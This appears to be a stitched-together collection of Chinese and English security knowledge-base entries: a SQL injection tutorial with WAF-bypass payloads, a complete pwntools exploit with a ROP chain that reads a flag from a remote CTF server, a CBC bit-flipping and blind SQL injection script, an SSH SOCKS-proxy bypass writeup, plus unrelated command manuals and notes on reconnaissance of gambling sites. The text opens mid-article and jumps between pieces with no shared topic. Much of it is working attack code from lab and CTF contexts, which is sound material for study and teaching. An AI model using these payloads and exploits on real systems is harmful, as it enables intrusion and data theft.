and 是一个逻辑符号 要求两边同时成立,所以and 这边是什么可以尽情发挥大家的才能 比如 and true=1 ?,为什么要这么写,因为某狗判断的就是 and 这边的字符类型
大家可以去了解了解 MySQL隐式转化。
```
mysql> select * from users where id = "1" and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id = "1" and 1=2;
Empty set (0.00 sec)
```
说了这么多我们就拿sqli-labs的第一关来演示一下

看到报错语句
```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
```
其中`''1'' LIMIT 0,1'` 最外层的是它出错给你的字符串不用看,所以为`'1'' LIMIT 0,1` 应为我们的单引号没闭合所以造成了出错 同时知道了 它的后面有个 `LIMIT 0,1` 所以反推大概的语句为 `select x,x from xxx where x='id' limit 0,1` 看到报错信息我们应该要能反推它的语句,有利于我们进一步注入,下面使用联合注入。
首先都是老套路 `order by xx ` 来判断它的列数,因为 `order by` 是根据列来排序的 (排序第几列)
```
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,schema_name,3 from information_schema.schemata limit 2,1 -- +
```
通过limit 0,1来控制前端的显位的数据(从第0条取一条) 如果是过滤逗号 。 想用分页可以使用 `1 offset 1` 意思是从第1条开始选一条当然还有join分页这些都在后面讲了。
```
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +
```
当然你想直接爆当前的库的表 不妨这样写 `table_schema=database()` 为了避免单引号你也可以使用hex后的数据 `table_schema=0x7365637572697479`
使用`group_concat()` 函数把表名都聚合起来,更加方便。
```
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- +
```
爆出字段
```
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(username,0x7C,password),3 from users-- +
```
爆出数据 在 `group_concat()` 被过滤的情况下我们可以使用其他的来替换 推荐大家查阅mysql 函数表
当我们使用 `information_schema.schemata` 时被拦截了,我们可以这样绕过
```
`information_schema`.`schemata `
information_schema/**/.schemata
information_schema/*!*/.schemata
information_schema%0a.schemata
```
也有人遇到过这种情况 users表被拦截 怎么绕过呢,其实也一样
```
security.users 数据库名 加表名
security.`users`
```
# 0x02 文末
#### 本文如有错误,请及时提醒,避免误导他人
* author:404
|
sec-knowleage
|
#!/usr/bin/python2
from pwn import *
def exploit(connection):
# Vulnerability
#
# The SecretStorageGetContent RPC returns Virtual Memory Object handle
# (vmo handle) representing memory region that overlaps with internal
# state of the server object. The client can abuse this handle to inspect
# and modify state of the server object while issuing further RPC
# requests.
#
# We exploit the above vulnerability to build arbitrary memory read and
# write primitive and finaly pass hijack control to ROP payload.
payload = """
mov rbx, [rsp] /* from call */
sub rbx, 0x7205 /* caidanti image base */
mov rbp, rsp
/*
* Step 1: Obtain vmo handle representing memory region that
* overlaps with internal state of the server object
*
* Simply invoke client->SecretStorageGetContent() method.
*/
push 0
lea rdx, [rbp - 8] /* = &handle */
lea rsi, [rip + key]
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x20] /* SecretStorageGetContent */
/*
* Step 2: Map the server memory region into client space
*
* This is based on caidanti code used during "Update content of
* secret".
*/
push 0
lea rsi, [rbp - 0x10] /* = &size */
mov rdi, [rbp - 8]
mov edi, [rdi] /* = handle */
call [rbx + 0x12078] /* zx_vmo_get_size */
call [rbx + 0x12080] /* zx_vmar_root_self */
push 0
lea rdi, [rbp - 0x18]
push rdi /* = &mapped_addr */
mov r9, [rbp - 0x10] /* = len */
xor r8d, r8d /* = vmo_offset */
mov rdi, [rbp - 8]
mov ecx, [rdi] /* = vmo */
xor rdx, rdx /* = vmar_offset */
mov esi, 3 /* = options */
mov edi, eax /* = vmar */
call [rbx + 0x12088] /* zx_vmar_map */
/*
* Step 3: Obtain image base of caidanti-storage-service
*
* This is computed from address of the virtual method table
* available in the server object.
*/
mov rdi, [rbp - 0x18]
mov rsi, [rdi]
sub rsi, 0x13060
mov [rbp - 0x20], rsi /* caidanti-storage-service = */
/*
* Step 4: Obtain image base of libc.so
*
* We modify key (std::string) of the first slot to use
* caidanti-storage-service .got as the data buffer. Next we
* invoke SecretStorageListKeys RPC and inspect the returned key.
*
* This demonstrates arbitrary memory read.
*/
add rsi, 0x13608 /* = &_libc_start_main */
mov [rdi + 0x70], rsi /* server.slot[0].key.ptr */
mov qword ptr [rdi + 0x78], 8 /* server.slot[0].key.length */
mov rax, 0x8000000000000030
mov qword ptr [rdi + 0x80], rax /* server.slot[0].key.allocation */
push 0
push 0
push 0
lea rsi, [rsp] /* = &output (std::string) */
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x18] /* SecretStorageListKeys */
mov rsi, [rsp]
mov rsi, [rsi]
sub rsi, 0x657c0
mov [rbp - 0x28], rsi /* libc_va = */
add rsp, 0x10
/*
* Step 5: Overwrite state used for pointer mangling to prepare
* for passing control via siglongjmp.
*
* We mark first slot as free, but modify its key (std::string) to
* use data buffer overlapping with mangling data within libc.so.
* Next we invoke SecretStorageCreate RPC to overwite the key data
* buffer.
*
* This demonstrates arbitrary memory write.
*/
mov rdi, [rbp - 0x18]
add rsi, 0xae278 /* = mangling data */
mov qword ptr [rdi + 0x68], 0 /* server.slot[0].used */
mov [rdi + 0x70], rsi /* server.slot[0].key.ptr */
mov qword ptr [rdi + 0x78], 0x20 /* server.slot[0].key.length */
push 0
lea rcx, [rsp] /* = &slot_index */
mov rax, 0x0100000000000000
push rax
push 0
push 0x43
lea rdx, [rsp] /* = &value (std::string) */
push 0
push 0
push 0
mov rdi, [rbp - 0x18]
mov rsi, [rdi + 0x50]
add rsi, 0xe00
mov rax, [rbp - 0x28]
add rax, 0x54211 /* pop rdi ; pop rbp ; ret */
xor rax, rsi
push rax
lea rsi, [rsp] /* = key_data (0x20 bytes) */
mov rax, 0x8000000000000030
push rax
push 0x20
push rsi
lea rsi, [rsp] /* = &key (std::string) */
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x10] /* SecretStorageCreate */
add rsp, 0x58
/*
* Step 6: Overwrite virtual method table and setup registers
* for siglongjmp
*/
mov rdi, [rbp - 0x18]
mov rsi, [rdi + 0x50] /* server object address (self-reference) */
add rsi, 0xe00
mov [rdi], rsi /* server object virtual method table */
add rsi, 0x1c00 - 0xe00
mov [rdi + 8], rsi
mov rax, [rbp - 0x28]
add rax, 0xaff00 /* used as scratch space */
mov [rdi + 0x18], rax
/*
* Step 7: Setup ROP chain
*/
mov rax, [rbp - 0x28]
add rax, 0x54644 /* siglongjmp */
mov [rdi + 0xe30], rax /* SecretStorageReset handler */
mov rax, [rbp - 0x20]
add rax, 0x02568 /* "/pkg/data/flag" */
mov [rdi + 0x1c08], rax
mov rax, [rbp - 0x20]
add rax, 0x53cd /* pop rsi ; ret */
mov [rdi + 0x1c18], rax
mov rax, 0
mov [rdi + 0x1c20], rax
mov rax, [rbp - 0x20]
add rax, 0x127e0 /* open */
mov [rdi + 0x1c28], rax
mov rax, [rbp - 0x28]
add rax, 0x07ab99 /* xchg eax, edi ; ret */
mov [rdi + 0x1c30], rax
mov rax, [rbp - 0x28]
add rax, 0x07265e /* pop rsi ; ret */
mov [rdi + 0x1c38], rax
mov rax, [rdi + 0x50]
add rax, 0xc0
mov [rdi + 0x1c40], rax
mov rax, [rbp - 0x28]
add rax, 0x068c46 /* pop rdx ; ret */
mov [rdi + 0x1c48], rax
mov rax, 0x100
mov [rdi + 0x1c50], rax
mov rax, [rbp - 0x20]
add rax, 0x12900 /* read */
mov [rdi + 0x1c58], rax
mov rax, [rbp - 0x28]
add rax, 0x5d418 /* infinite loop */
mov [rdi + 0x1c60], rax
/*
* Step 8: Trigger ROP by calling SecretStorageReset
*
* We use SecretStorageReset as client implementation seems
* asynchronous.
*/
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x30] /* SecretStorageReset */
/*
* Step 9: Wait for read to complete
*/
mov rdi, [rbp - 0x18]
add rdi, 0xc0
0:
cmp qword ptr [rdi], 0
je 0b
/*
* Step 10: Exfiltrate
*/
call [rbx + 0x120a8] /* puts */
/*
* All done
*/
xor rdi, rdi
call [rbx + 0x12028] /* exit */
.balign 0x10
key:
.ascii "A"
.fill 0x16, 1, 0
.byte 0x01
"""
payload_binary = asm(payload)
def create_secret(key, content):
connection.recvuntil("114514. Bring your own C\xc3\xa0i D\xc4\x81n T\xc3\xad\n")
connection.send("1\n")
connection.recvuntil("Key: ")
connection.send("{:s}\n".format(key))
connection.recvuntil("Initial content: ")
connection.send("{:s}\n".format(content))
create_secret("A", "B" * 0x1)
# application command to execute arbitrary shellcode
connection.recvuntil("114514. Bring your own C\xc3\xa0i D\xc4\x81n T\xc3\xad\n")
connection.send("114514\n")
connection.recvuntil("Your code size: ")
connection.send("{:d}\n".format(len(payload_binary)))
connection.send(payload_binary)
flag = connection.recvuntil("}")
info("flag = \"{:s}\"".format(flag))
context.log_level = "debug"
context.arch = "amd64"
with remote("54.177.17.135", 23333) as connection:
exploit(connection)
|
sec-knowleage
|
which
===
查找并显示给定命令的绝对路径
## 补充说明
**which命令** 用于查找并显示给定命令的绝对路径,环境变量PATH中保存了查找命令时需要遍历的目录。which指令会在环境变量$PATH设置的目录里查找符合条件的文件。也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。
### 语法
```shell
which(选项)(参数)
```
### 选项
```shell
-n<文件名长度>:制定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名;
-p<文件名长度>:与-n参数相同,但此处的<文件名长度>包含了文件的路径;
-w:指定输出时栏位的宽度;
-V:显示版本信息。
```
### 参数
指令名:指令名列表。
### 实例
查找文件、显示命令路径:
```shell
[root@localhost ~]# which pwd
/bin/pwd
[root@localhost ~]# which adduser
/usr/sbin/adduser
```
说明:which是根据使用者所配置的 PATH 变量内的目录去搜寻可运行档的!所以,不同的 PATH 配置内容所找到的命令当然不一样的!
用 which 去找出 cd
```shell
[root@localhost ~]# which cd
cd: shell built-in command
```
cd 这个常用的命令竟然找不到啊!为什么呢?这是因为 cd 是bash 内建的命令! 但是 which 默认是找 PATH 内所规范的目录,所以当然一定找不到的!
|
sec-knowleage
|
# MORIA: 1.1
> https://download.vulnhub.com/moria/Moria1.1.rar
靶场IP:`192.168.32.227`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.227
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 08:06 EDT
Nmap scan report for 192.168.32.227
Host is up (0.00051s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
MAC Address: 00:0C:29:A0:85:AE (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
```

访问路径:`http://192.168.32.227/w/h/i/s/p/e/r/the_abyss/`,每次刷新内容都会变化

|
sec-knowleage
|
# 黑灰产的资产信息搜集
## 菠菜站
> 菠菜站怎么做资产信息搜集,和普通站有什么差别?
### 特征分析
- 一般分为:宣传站、用户站、管理后台;客服系统之类为第三方,并且现在很多都搭建云平台,建站一条龙;域名和IP很多;一般是从上游买的源码
- 宣传域名很多,几乎都在同一服务器上
- 宣传页、活动页、代理页与主站不再同一台服务器上
- 有单独的数据库服务器、图片服务器
- 人员素质
- 人工客服安全性普遍很高
- 网站管理员安全水平不低
### 信息搜集分析步骤
- 第一,定位是看属于哪种盘。杀猪盘、纯菠菜 etc.
- 前期准备:了解黑灰产目标的大致架构(技术架构、人员层级架构),专业数据等
- 第二,分析目标规模。关联出来的域名是否很多,以及盘的名字是否不一样。存活时间。用来分析目标属于大、中、小等盘
- 一般,中型盘,100人以上
- 杀猪盘,属于小型盘,,几十个人左右
- 且这些盘都会往大型盘发展,说白了,就是赚钱后都会不断提高人员素质和安全方面,并且扩展业务
- 第三,找源码、审计
- 第四,如果域名为四位数.com的,一般都是大盘,利用谷歌搜索关键词,关联出的信息大多都属一家,因为大型盘的业务很广
- 第五,社工,具体问题具体分析
|
sec-knowleage
|
# Writeup Qiwi CTF 2016
Team: msm, nazywam, shalom, rev, c7f.m0d3, cr019283, akrasuski1
### Table of contents
* [Diffie Hellman (crypto 300)](dif-hel)
* [Diffie Hellman 2 (crypto 300)](dif-hel2)
* [iRoot (crypto 300)](iroot)
* [Hastad (crypto 400)](hastad)
* [Hensel (crypto 400)](hensel)
* [Datetime (ppc 100)](datetime)
* [Prime (ppc 100)](prime)
* [OpenCV (ppc 200)](opencv)
* [BFS (ppc 400)](bfs)
* [DES (crypto 500)](des)
|
sec-knowleage
|
[Back to Contents](README.md)
### Hackerone publicly disclosed bugs Stats
At the time of writing, the Hackerone platform had 1731 publicly disclosed bugs in companies such as Twitter, Uber, Dropbox, Github etc.
8 of the bugs were removed as outright spam. 9 others were related to bugs in the Internet or a specific programming language. Out of the remaining 1714, we were able to classify 1359 issues using some code and manual work.
#### Issues by type of mistake
| Classification | Count | Percentage |
| --- | --- | --- |
| User Input Sanitization | 481 | 27.8
| Other code issues | 549 | 31.7
| Configuration issues | 325 | 18.8
| Unclassified+Info+Junk | 376 | 21.7
#### Issues sorted by their frequency of occurrence
1 out of 3 issues were related to XSS, Insecure references to data (data leak) or missing CSRF token. The [Hackerone page](https://hackerone.com/hacktivity/new) listing these issues is quite interesting and can be read.
Type|Count|Percentage
| --- | --- | --- |
XSS|375|21.87
Insecure reference + Data Leak|104|6.06
CSRF Token|99|5.77
Open Redirects|59|3.44
Information/Source Code Disclosure|57|3.32
DNS misconfiguration + Apache/Nginx + Subdomain Takeover + Open AWS_S3|44|2.56
Improper Session management/Fixation|39|2.27
TLS/SSL/POODLE/Heartbleed|39|2.27
HTML/JS/XXE/Content Injections|37|2.15
HTTP Header Issues|34|1.98
NULL POINTER + SEGFAULT + Using memory after free()|33|1.92
DMARC/DKIM/SPF settings for Mail|31|1.8
SQL Injection|28|1.63
Clickjacking|27|1.57
Improper Cookies (secure/httpOnly/exposed)|25|1.45
Path disclosure|25|1.45
Broken/Open Authentication|24|1.4
Brute Force attacks|24|1.4
Content Spoofing|20|1.16
Buffer overflow|20|1.16
Denial Of Service|19|1.1
Server Side Request Forgery|18|1.05
Adobe Flash vulnerabilities|18|1.05
User/Info Enumeration|17|0.99
Remote Code Execution|15|0.87
Password reset token expiration/attempts/others|13|0.75
Integer overflow|11|0.64
Version Disclosure|11|0.64
CSV Injection|10|0.58
Privilege Escalation|9|0.52
OAuth state/leaks and other issues|9|0.52
Password Policy|7|0.4
CRLF|7|0.4
PythonLang|6|0.35
Homograph attack|6|0.35
File upload type/size/location sanitize|6|0.35
Captcha bypass|5|0.29
Remote/Local File inclusion|4|0.23
Directory listing|4|0.23
Path traversal|4|0.23
Remote File Upload|4|0.23
Autocomplete enabled|4|0.23
Leak through referer|3|0.17
Pixel Flood Attack|3|0.17
Control Chars in Input|2|0.11
### Some unique vulnerability types
1. Race conditions based vulnerabilities
2. Pixel Flood Attack
3. IDN Homograph Attack
4. Control Characters in Input leading to interesting outcomes
|
sec-knowleage
|
.TH "CREATEUSER" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
createuser \- 定义一个新的 PostgreSQL 用户帐户
.SH SYNOPSIS
.sp
\fBcreateuser\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR\fR [ \fR\fB\fIusername\fB \fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBcreateuser\fR 创建一个新的 PostgreSQL 用户。只有超级用户(在
pg_shadow 表中设置了 usesuper 的用户)可以创建新的 PostgreSQL 用户。 因此,
createuser 必须由某位可以以 PostgreSQL 超级用户连接的用户执行。
.PP
作为超级用户同时也意味着绕开数据库内访问检查的能力, 因此我们应该少赋予超级用户权限。
.PP
\fBcreateuser\fR 是 SQL 命令 CREATE USER [\fBcreate_user\fR(7)] 的封装。
因此,用那种方法创建新用户都没什么特别的。
.SH "OPTIONS 选项"
.PP
\fBcreateuser\fR 接受下列命令行参数:
.TP
\fB\fIusername\fB\fR
声明要创建的 PostgreSQL 用户名称。 该名称必须在所有 PostgreSQL 用户中唯一。
.TP
\fB-a\fR
.TP
\fB--adduser\fR
允许该新建用户创建其他用户。(注意: 实际上这样做相当于把这个新用户变成了
superuser,只不过这个选项命名得比较烂。)
.TP
\fB-A\fR
.TP
\fB--no-adduser\fR
不允许该新建用户创建其他用户。 (也就是说,该用户是一个普通用户,不是超级用户)。
.TP
\fB-d\fR
.TP
\fB--createdb\fR
允许该新建用户创建数据库。
.TP
\fB-D\fR
.TP
\fB--no-createdb\fR
禁止该新建用户创建数据库。
.TP
\fB-e\fR
.TP
\fB--echo\fR
回显 createuser 生成的命令并发送给服务器。
.TP
\fB-E\fR
.TP
\fB--encrypted\fR
对保存在数据库里的用户口令加密。如果没有声明, 则使用缺省值。
.TP
\fB-i \fInumber\fB\fR
.TP
\fB--sysid \fInumber\fB\fR
允许你给新用户使用非缺省用户标识。这个也不是必须的,但是有些人喜欢这样。
.TP
\fB-N\fR
.TP
\fB--unencrypted\fR
不对保存在数据库里的用户口令加密。如果没有声明, 则使用缺省值,
.TP
\fB-P\fR
.TP
\fB--pwprompt\fR
如果给出,createuser 将发出一个提示符要求输入新用户的口令。 如果你不打算用口令认证,那么这是不必要的。
.TP
\fB-q\fR
.TP
\fB--quiet\fR
不显示响应。
.PP
.PP
如果没有在命令行上声明名称和其他的一些缺少的信息,脚本会提示你输入。
.PP
\fBcreateuser\fR 还接受下列命令行参数用作连接参数:
.TP
\fB-h \fIhost\fB\fR
.TP
\fB--host \fIhost\fB\fR
声明运行服务器的机器的主机名。 如果数值以斜扛开头,则它被用做到 Unix 域套接字的路径。
.TP
\fB-p \fIport\fB\fR
.TP
\fB--port \fIport\fB\fR
声明服务器 正在侦听的互联网 TCP 端口号或本地Unix域套接字的文件扩展(描述符)。
.TP
\fB-U \fIusername\fB\fR
.TP
\fB--username \fIusername\fB\fR
连接的用户名(不是要创建的用户名)。
.TP
\fB-W\fR
.TP
\fB--password\fR
强制口令提示(与服务器连接的口令,不是新用户的口令。)
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数。
.SH "DIAGNOSTICS 诊断"
.PP
如果出现错误,将会显示后端错误信息。参阅 CREATE USER [\fBcreate_user\fR(7)] 和 \fBpsql\fR(1) 获取可能信息描述。数据库服务器必须在目标主机上运行。 同样,任何 libpq 前端库使用的缺省连接设置和环境变量都将适用。
.SH "EXAMPLES 例子"
.PP
在缺省数据库服务器上创建一个用户 joe:
.sp
.nf
$ \fBcreateuser joe\fR
Is the new user allowed to create databases? (y/n) \fBn\fR
Shall the new user be allowed to create more new users? (y/n) \fBn\fR
CREATE USER
.sp
.fi
.PP
用在主机eden上的服务器创建用户 joe,端口是 5000,避免提示并且显示执行的命令:
.sp
.nf
$ \fBcreateuser -p 5000 -h eden -D -A -e joe\fR
CREATE USER "joe" NOCREATEDB NOCREATEUSER
CREATE USER
.sp
.fi
.SH "SEE ALSO 参见"
\fBdropuser\fR(1), CREATE USER [\fBcreate_user\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Cryptolol (Crypto/Web)
In the task we get access to a webpage which only prints out:

There is pretty much nothing else there.
But we get an interesting base64 encoded cookie from the server called `USERNAME`.
Playing around with this cookie we figure out it's AES-CBC encrypted username.
We can do some bitflipping of the first bytes and it changes corresponding bytes in next 16 byte block.
We also get a full echo on the decryption results from the server.
Initially we thought it might simply be padding oracle of some sort, but we easily checked that there is no PKCS padding at all.
We removed IV block, so decryption would show only the second block, and then by bitflipping we deduced that the whole thing is padded with spaces.
We also verified that ciphertext we have contains simply what was printed out - `Smelly Tooth Cromwel`.
Short reminder for those who are not familiar with CBC mode: each ciphertext block is decrypted first with AES and then XORed with previous block.
First block is XORed with so called IV, which is appended as the first block of ciphertext.
The trick is that we can change IV however we want, and it will result in changing the plaintext after decryption.
If we XOR k-th byte of IV with value `x` then k-th byte of first plaintext block will also get XORed with `x`.
Using this technique we can force any decryption we want for a single block.
By playing around with a single block we noticed that there is some kind of WAF on the server, because changing the plaintext contents to words like `union` or `sleep` was giving a special error that the contents were suspicious.
We tried to get some kind of SQL Injection, but we could get this to work with only one block.
We decided we need more characters in the query.
Fortuanately server gave us full decryption results, and this allows us to forge a ciphertext for any plaintext we want.
We can do this by:
1. We send bytes `\x00` in as many blocks as we need for the payload we want to send.
2. We read how server decrypted this.
3. We take last block decryption and XOR it with last block of plaintext we want. The result is what the previous block has to be, in order for us to get this result.
4. We set previous block for the XOR result value.
5. We send the current ciphertext again, but without the last block.
6. We repeat steps 2-5 for all blocks until last XOR becomes the IV.
This way we get a ciphertext which will get decrypted to plaintext we want.
There were some issues with the injection payload here:
1. There was WAF which removed some useful instructions
2. It took us a while to figure out the schema and then to notice that for user `Smelly Tooth Cromwel` the `flag` field is null, and we need to find another user with the real flag.
3. We could only get a blind injection, and the query was very particular, because if the result set had more/less than 1 record, it would fail with error, so we used injection in the form of `Smelly Tooth Cromwel' or CONDITION`, and if the condition was true then result set would have more records and there would be error, and otherwise no error would appear.
4. It was pretty slow, even with binary search.
5. Substring-like functions were blacklisted so eventually we casted flag to binary and run regex matching on this:
```python
import base64
import re
from ast import literal_eval
from math import ceil
import requests
from bs4 import BeautifulSoup
from crypto_commons.generic import chunk, xor_string
def pad(plaintext):
blocks = int(ceil((float(len(plaintext)) / 16)))
return plaintext.ljust(blocks * 16, ' ')
def send_payload(payload):
return requests.get('http://cryptolol.challs.malice.fr', cookies={'USERNAME': base64.b64encode(payload)})
def get_error_message(content):
soup = BeautifulSoup(content, 'html.parser')
message = soup.select_one('.error-message')
if message:
if 'Suspicious' in message.text:
raise Exception('filter')
return re.findall('''the user b(["'].*['"]) has been''', message.text)[0]
elif 'Caribbean pirate' in soup.text:
return True
def form_full_payload(plaintext):
blocks = len(pad(plaintext)) / 16
chunks = chunk(pad(plaintext), 16)
payload = ("\0" * 16) * blocks
final_blocks = ["\0" * 16]
for i in range(blocks):
response = send_payload(payload)
decrypted = literal_eval(get_error_message(response.content))
last_block = decrypted[-16:]
new_block = xor_string(chunks[-i], last_block)
final_blocks.append(new_block)
payload = '\x00' * 16 * (blocks - 1) + new_block
return "".join(final_blocks[::-1])
def convert(x):
return "\\\\x" + (hex(x)[2:].zfill(2))
def guess_single(prefix, single):
guess = convert(single)
text = '''
Smelly Tooth Cromwel' or flag is not null and (cast(flag as binary) regexp '^.{{{prefix_len}}}{guess}') #
'''.strip().format(prefix_len=len(prefix), guess=guess)
payload = form_full_payload(' ' * 16 + text)
response = send_payload(payload)
return get_error_message(response.content) is None
def guess_letter(prefix, low, high):
mid = (low + high) / 2
if low == high:
return chr(low)
if guess_single(prefix, mid):
return chr(mid)
print(low, high)
guess = "[%s-%s]" % (convert(low), convert(mid))
text = '''
Smelly Tooth Cromwel' or flag is not null and (cast(flag as binary) regexp '^.{{{prefix_len}}}{guess}') #
'''.strip().format(prefix_len=len(prefix), guess=guess)
print(text)
payload = form_full_payload(' ' * 16 + text)
response = send_payload(payload)
if get_error_message(response.content) is None:
return guess_letter(prefix, low, mid - 1)
else:
return guess_letter(prefix, mid + 1, high)
def main():
flag = ""
while True:
flag += (guess_letter(flag, 0, 129))
print("Flag progress:", flag)
main()
```
After some (very long...) time we get `NDH{L!st3n-to_me,MOrty.I_know..that~new$5ituat1oNs*caN--be__int|miDAting...}`
|
sec-knowleage
|
# git the flag (misc, 96 pts, 58 solved)
This challenge is a CGI server and served its own source code using git.
The code that we're supposed to hack looks like this:
```bash
#!/bin/bash
set -euo pipefail
source /etc/config.ini
no_cache(){
echo -ne "Pragma-directive: no-cache\n";
echo -ne "Cache-directive: no-cache\n";
echo -ne "Cache-control: no-cache\n";
echo -ne "Pragma: no-cache\n";
echo -ne "Expires: 0\n";
echo -ne "Content-type: text/html\n\n"
}
success() {
rm -f /tmp/login_session.txt
cp /proc/sys/kernel/random/uuid /tmp/login_session.txt 2>&1
echo -ne "Status: 302 Moved Temporarily\n"
echo -ne "Set-Cookie: session=$(cat /tmp/login_session.txt)\n"
echo -ne "Location: /cgi-bin/setup.cgi\n\n"
exit
}
fail() {
echo -ne "Content-type: text/html\n\n"
echo "<html>"
echo "<head><title>Omegalink login</title>"
echo "<body><center>"
echo "<h1>Login unsuccessful.</h1>"
echo "<h3>Reason: $1</h3>"
echo "<p><a href=/>Click here to try again</a></p>"
echo "<p>This incident will be reported</p>"
echo "</center></body>"
echo "</html>"
exit
}
parse_query() {
saveIFS=$IFS
IFS='=&'
parm=($QUERY_STRING)
IFS=$saveIFS
declare -gA query_params
for ((i=0; i<${#parm[@]}; i+=2))
do
query_params[${parm[i]}]="${parm[i+1]}"
done
}
check_name_and_password() {
pw_hash=$(echo -n "${query_params[password]}" | md5sum | cut -d ' ' -f 1)
if [[ "${query_params[name]}" != $USERNAME || "$pw_hash" != $PASSWORD_HASH ]]; then
fail "Wrong username or password"
fi
}
check_remote_ip() {
if [[ ! "$REMOTE_ADDR" =~ $ALLOWED_REMOTES ]]; then
fail "$REMOTE_ADDR is not authorized to enter this site."
fi
}
parse_query
check_name_and_password
check_remote_ip
success
```
There are two checks - check for name and password, and remote_ip.
The name and password was `admin` and `admin`. The author of this writeup
wasted some time, because the random md5 database he used didn't find it
for some weird reason (even though even google does)...
Anyway, the second check was harder. It was implemented correctly, so we had to
step back a bit. We remembered, that git clone works via ssh, we had credentials
that authenticated us to the server (to clone the code), and that ssh
allows any authenticated user to create a socks proxy.
So we quickly create one:
```bash
$ ssh git@35.234.131.107 -p 22222 -D 9090 "git-receive-pack '/code.git'"
```
And then two quick curls (what are webbrowsers for anyway?) are enough ftw:
```
curl "http://127.0.0.1/cgi-bin/login.cgi?name=admin&password=admin" -x socks5://127.0.0.1:9090 -vvv
curl "http://127.0.0.1/cgi-bin/setup.cgi" -x socks5://127.0.0.1:9090 -vvv --cookie session=fa3cc064-cf79-4691-a122-9723ae7fc79
```
And the flag is:
```
SaF{lmgtfy:"how to serve git over ssh"}
```
|
sec-knowleage
|
tput
===
通过terminfo数据库对终端会话进行初始化和操作
## 补充说明
**tput命令** 将通过 terminfo 数据库对您的终端会话进行初始化和操作。通过使用 tput,您可以更改几项终端功能,如移动或更改光标、更改文本属性,以及清除终端屏幕的特定区域。
### 什么是 terminfo 数据库?
UNIX 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能,包括各设备(例如,终端和打印机)的行数和列数以及要发送至该设备的文本的属性。UNIX 中的几个常用程序都依赖 terminfo 数据库提供这些属性以及许多其他内容,其中包括 vi 和 emacs 编辑器以及 curses 和 man 程序。
与 UNIX 中的大多数命令一样,tput 命令既可以用在 shell 命令行中也可以用在 shell 脚本中。为让您更好地理解 tput,本文首先从命令行讲起,然后紧接着讲述 shell 脚本示例。
**光标属性**
在 UNIX shell 脚本中或在命令行中,移动光标或更改光标属性可能是非常有用的。有些情况下,您可能需要输入敏感信息(如密码),或在屏幕上两个不同的区域输入信息。在此类情况下,使用 tput 可能会对您有所帮助。
```shell
tput clear # 清屏
tput sc # 保存当前光标位置
tput cup 10 13 # 将光标移动到 row col
tput civis # 光标不可见
tput cnorm # 光标可见
tput rc # 显示输出
exit 0
```
**移动光标**
使用 tput 可以方便地实现在各设备上移动光标的位置。通过在 tput 中使用 cup 选项,或光标位置,您可以在设备的各行和各列中将光标移动到任意 X 或 Y 坐标。设备左上角的坐标为 (0,0)。
要在设备上将光标移动到第 5 列 (X) 的第 1 行 (Y),只需执行 tput cup 5 1。另一个示例是 tput cup 23 45,此命令将使光标移动到第 23 列上的第 45 行。
**移动光标并显示信息**
另一种有用的光标定位技巧是移动光标,执行用于显示信息的命令,然后返回到前一光标位置:
```shell
(tput sc ; tput cup 23 45 ; echo “Input from tput/echo at 23/45” ; tput rc)
```
下面我们分析一下 subshell 命令:
```shell
tput sc
```
必须首先保存当前的光标位置。要保存当前的光标位置,请包括 sc 选项或“save cursor position”。
```shell
tput cup 23 45
```
在保存了光标位置后,光标坐标将移动到 (23,45)。
```shell
echo “Input from tput/echo at 23/45”
```
将信息显示到 stdout 中。
```shell
tput rc
```
在显示了这些信息之后,光标必须返回到使用 tput sc 保存的原始位置。要使光标返回到其上次保存的位置,请包括 rc 选项或“restore cursor position”。
注意:由于本文首先详细介绍了通过命令行执行 tput,因此您可能会觉得在自己的 subshell 中执行命令要比单独执行每条命令然后在每条命令执行之前显示提示更简洁。
**更改光标的属性**
在向某一设备显示数据时,很多时候您并不希望看到光标。将光标转换为不可见可以使数据滚动时的屏幕看起来更整洁。要使光标不可见,请使用 civis 选项(例如,tput civis)。在数据完全显示之后,您可以使用 cnorm 选项将光标再次转变为可见。
**文本属性**
更改文本的显示方式可以让用户注意到菜单中的一组词或警惕用户注意某些重要的内容。您可以通过以下方式更改文本属性:使文本加粗、在文本下方添加下划线、更改背景颜色和前景颜色,以及逆转颜色方案等。
要更改文本的颜色,请使用 setb 选项(用于设置背景颜色)和 setf 选项(用于设置前景颜色)以及在 terminfo 数据库中分配的颜色数值。通常情况下,分配的数值与颜色的对应关系如下,但是可能会因 UNIX 系统的不同而异:
* 0:黑色
* 1:蓝色
* 2:绿色
* 3:青色
